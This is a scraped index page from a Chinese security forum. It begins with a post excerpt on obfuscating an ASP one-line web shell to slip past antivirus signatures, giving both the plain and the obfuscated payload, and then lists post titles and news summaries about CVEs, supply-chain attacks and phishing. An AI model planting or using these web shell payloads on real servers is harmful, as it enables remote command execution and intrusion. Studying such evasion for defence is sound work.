T00ls | 低调求发展 - 潜心习安全

这帖子演示的是典型的**字符串混淆免杀**思路，核心原理是**破坏静态特征码的连续性**。---## 技术原理解析**原始payload：**```asp<%execute(unescape("eval%20request%28%22cmd%22%29"))%>```**绕过payload：**```asp<%execute(replace(unescape("eval%20request%28%22test%22%29") & WLGSG, WLGSG, ""))%>```### 绕过手法拆解1. **unescape解码**：将URL编码的字符串还原，逃避明文特征匹配2. **字符串拼接**：`& WLGSG`引入一 ...

投稿文章：WordPress CVE-2026-9104 源码分析附 POC

2026-05-31 13:38:26 0 2

投稿文章：亿赛通-电子文档安全管理系统存在命令注入漏洞

2026-05-31 13:04:17 0 2

工业控制安全的产品一些问题

2026-05-30 09:13:10 0 40

为什么今年三大Linux史诗级提权漏洞都无法利用到android上

2026-05-29 17:55:06 4 75

投稿文章：大模型辅助逆向分析：多模态特征融合与自动脱壳实战

2026-05-29 00:27:35 0 68

安全资讯

新闻资讯回复1次

黑客利用ChatGPT功能在谷歌投放钓鱼广告诱导用户下载恶意安装包

近期黑客正在积极利用 ChatGPT 和 Claude 等流行的人工智能工具进行钓鱼，黑客选择这些工具是因为搜索量高且可以通过插件或内容共享等方式复用官方域名，至少对大多数用户而言直接从谷歌搜索结果的置顶广告里看不出来这是钓鱼网站，因此黑客的钓鱼成功率要显著更高。恶意利用插件功能进行钓鱼：ChatGPT Canvas 功能可以用 ...

2026-05-31 13:16:43 1 46

新闻资讯回复1次

火绒安全揭露新型远控威胁攻击手段利用WPS带毒版和Cloudflare隧道展开攻击

火绒威胁情报中心日前监测到利用 WPS 办公软件进行投毒的新型远控威胁攻击手段，这种攻击并没有使用传统的黑客工具，而是利用合法的 WPS 办公软件与 Cloudflare 官方的隧道工具进行隐藏，普通用户很难发现自己的设备已经被后门程序感染。当设备被感染后黑客投放的后门程序就会持续在后台运行并将整个 C 盘都添加到 Microsof ...

2026-05-29 10:12:12 1 402

新闻资讯回复1次

一种名为Megalodon的新GitHub攻击已影响超过5500个仓库

2026年5月18日，代号"巨齿鲨"（Megalodon）的大规模自动化供应链攻击席卷GitHub平台，在不到六小时内向超过5,500个代码库注入了恶意CI/CD后门，创下GitHub Actions投毒攻击的最快扩散纪录。Part01攻击时间线与手法安全公司SafeDep发现，2026年5月18日UTC时间约11:36至17:48期间，"巨齿鲨"行动通过随机八字符用户名的临时账 ...

2026-05-28 14:36:33 1 331

新闻资讯回复1次

研究人员称NGINX近期爆出的漏洞是AI制造焦虑因为实际匹配漏洞极少

近期 NGINX 被爆出多个高危级别的安全漏洞，攻击者只需要发送特制的 HTTP 请求即可触发漏洞并进行远程代码执行，不过先决条件是 NGINX 配置必须达成要求，而大多数 NGINX 实例配置都不存在相关要求因此即便没有升级新版本也不会因为这些漏洞而被攻击。 4,000 样本竟然受影响的为 0：安全分析师 @XorNinja 发布的消息称，其 ...

2026-05-27 10:37:06 1 469

新闻资讯回复1次

CISA 警告 Drupal 核心 SQL 注入漏洞在攻击中被利用

美国网络安全和基础设施安全局（CISA）发布紧急警报，关于Drupal核心中一个关键的SQL注入漏洞，该漏洞被追踪为CVE-2026-9082，目前正在实际攻击中被积极利用。该漏洞被归类为CWE-89，影响Drupal的数据库抽象API，并可能允许攻击者通过特殊定制的请求执行恶意SQL查询。根据美国网络安全和基础设施安全局（CISA）的说法，成功 ...

2026-05-26 02:01:35 1 574

新闻资讯回复1次

开源项目Laravel Lang(社区本地化项目)被攻击黑客发布700多个恶意版本

开源项目 Laravel 的社区本地化项目 Laravel Lang (这属于社区构建的项目与 Laravel 框架无关) 日前遭到黑客攻击，黑客劫持开发者账号后发布 700 多个恶意版本用于下游构建，最终目的是窃取被感染设备中的所有机密凭证。Laravel Lang 项目的多个本地化软件包被下游项目使用，这些项目在构建时会自动加载含有恶意代码的软件 ...

2026-05-24 00:55:29 1 769